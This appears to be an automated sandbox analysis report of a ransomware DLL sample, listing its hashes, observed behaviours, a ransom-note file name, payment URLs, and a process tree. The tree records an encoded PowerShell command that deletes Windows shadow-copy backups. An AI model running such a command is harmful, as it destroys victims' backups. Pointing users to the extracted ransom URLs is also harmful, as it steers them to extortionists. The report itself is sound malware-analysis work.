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Analysis
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max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
09/05/2024, 12:43
Static task
static1
Behavioral task
behavioral1
Sample
2a060a5bedbe2b3c1a2faa16c5f9e93d_JaffaCakes118.dll
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
2a060a5bedbe2b3c1a2faa16c5f9e93d_JaffaCakes118.dll
Resource
win10v2004-20240226-en
General
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Target
2a060a5bedbe2b3c1a2faa16c5f9e93d_JaffaCakes118.dll
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Size
166KB
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MD5
2a060a5bedbe2b3c1a2faa16c5f9e93d
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SHA1
ae3a8228e4de6a84a8956b14d16272176260721e
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SHA256
cf74a98b694d6addc28be26a056e5193aad2fcd4a97007599de0a7a19737c13c
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SHA512
ed887ccdb7cc6d817c34ea685a8191f7066cb034f55d2aeb6a373a7ae635fd5dd8a439350ca466732e6c895777d95ce21c1eac4c7ffba8f92af3fda388467dee
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SSDEEP
3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QgKE5alsoJEUrZ:NJ0BXScFyfC3Hd4ygy5Vov
Malware Config
Extracted
C:\Users\54x29c-readme.txt
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/01F6A4C6B47C32B1
http://decryptor.cc/01F6A4C6B47C32B1
Signatures
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\D: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\W: rundll32.exe -
Drops file in Program Files directory 36 IoCs
description ioc Process File opened for modification \??\c:\program files\DismountSearch.xml rundll32.exe File opened for modification \??\c:\program files\NewDismount.csv rundll32.exe File opened for modification \??\c:\program files\SwitchConvertFrom.TTS rundll32.exe File opened for modification \??\c:\program files\CompleteUpdate.xla rundll32.exe File opened for modification \??\c:\program files\DenyResume.7z rundll32.exe File opened for modification \??\c:\program files\BlockOut.eprtx rundll32.exe File opened for modification \??\c:\program files\UnregisterResume.ods rundll32.exe File opened for modification \??\c:\program files\GetLimit.csv rundll32.exe File opened for modification \??\c:\program files\ResolveDebug.ps1xml rundll32.exe File opened for modification \??\c:\program files\BackupHide.mpe rundll32.exe File opened for modification \??\c:\program files\CheckpointFormat.dwg rundll32.exe File opened for modification \??\c:\program files\MoveRename.m4a rundll32.exe File opened for modification \??\c:\program files\RevokeExit.wps rundll32.exe File opened for modification \??\c:\program files\ImportInstall.tiff rundll32.exe File opened for modification \??\c:\program files\InvokeSwitch.easmx rundll32.exe File opened for modification \??\c:\program files\CheckpointFormat.pptm rundll32.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\54x29c-readme.txt rundll32.exe File created \??\c:\program files\54x29c-readme.txt rundll32.exe File created \??\c:\program files (x86)\54x29c-readme.txt rundll32.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\54x29c-readme.txt rundll32.exe File opened for modification \??\c:\program files\CompareSync.mp2v rundll32.exe File opened for modification \??\c:\program files\UnregisterResume.asf rundll32.exe File opened for modification \??\c:\program files\ExitMeasure.sql rundll32.exe File opened for modification \??\c:\program files\GrantExpand.3gp rundll32.exe File opened for modification \??\c:\program files\InvokeUninstall.ex_ rundll32.exe File opened for modification \??\c:\program files\MergeEdit.mpeg rundll32.exe File opened for modification \??\c:\program files\MergeRestart.3gp rundll32.exe File opened for modification \??\c:\program files\RequestCompress.xls rundll32.exe File opened for modification \??\c:\program files\AddWatch.png rundll32.exe File opened for modification \??\c:\program files\DenyJoin.mp2v rundll32.exe File opened for modification \??\c:\program files\UseSet.png rundll32.exe File opened for modification \??\c:\program files\UnblockJoin.mpg rundll32.exe File opened for modification \??\c:\program files\WaitSet.cr2 rundll32.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\54x29c-readme.txt rundll32.exe File opened for modification \??\c:\program files\ResetRestart.m4v rundll32.exe File opened for modification \??\c:\program files\SendRevoke.aiff rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1012 rundll32.exe 1644 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1012 rundll32.exe Token: SeDebugPrivilege 1644 powershell.exe Token: SeBackupPrivilege 2540 vssvc.exe Token: SeRestorePrivilege 2540 vssvc.exe Token: SeAuditPrivilege 2540 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 1900 wrote to memory of 1012 1900 rundll32.exe 28 PID 1900 wrote to memory of 1012 1900 rundll32.exe 28 PID 1900 wrote to memory of 1012 1900 rundll32.exe 28 PID 1900 wrote to memory of 1012 1900 rundll32.exe 28 PID 1900 wrote to memory of 1012 1900 rundll32.exe 28 PID 1900 wrote to memory of 1012 1900 rundll32.exe 28 PID 1900 wrote to memory of 1012 1900 rundll32.exe 28 PID 1012 wrote to memory of 1644 1012 rundll32.exe 29 PID 1012 wrote to memory of 1644 1012 rundll32.exe 29 PID 1012 wrote to memory of 1644 1012 rundll32.exe 29 PID 1012 wrote to memory of 1644 1012 rundll32.exe 29 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2a060a5bedbe2b3c1a2faa16c5f9e93d_JaffaCakes118.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1900 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2a060a5bedbe2b3c1a2faa16c5f9e93d_JaffaCakes118.dll,#12⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2720
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2540
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
9KB
MD5ef49af60b0da4dd48bbff2b2dc94c09a
SHA1b1763531619227e70ad4ac50c77a414ed79da5ea
SHA2566062ddf8d11387cc1fc38ab17baf1332a8dda066194aba6b50b5719133f748bd
SHA51257e6a2a0d248abd7df179f76634c403572dd9cabea9b1b2c67e66b6422efbd2a6d694407898e3000d3adfb55d642c7db529b78965e63fb98328d13ca5dcc0ec6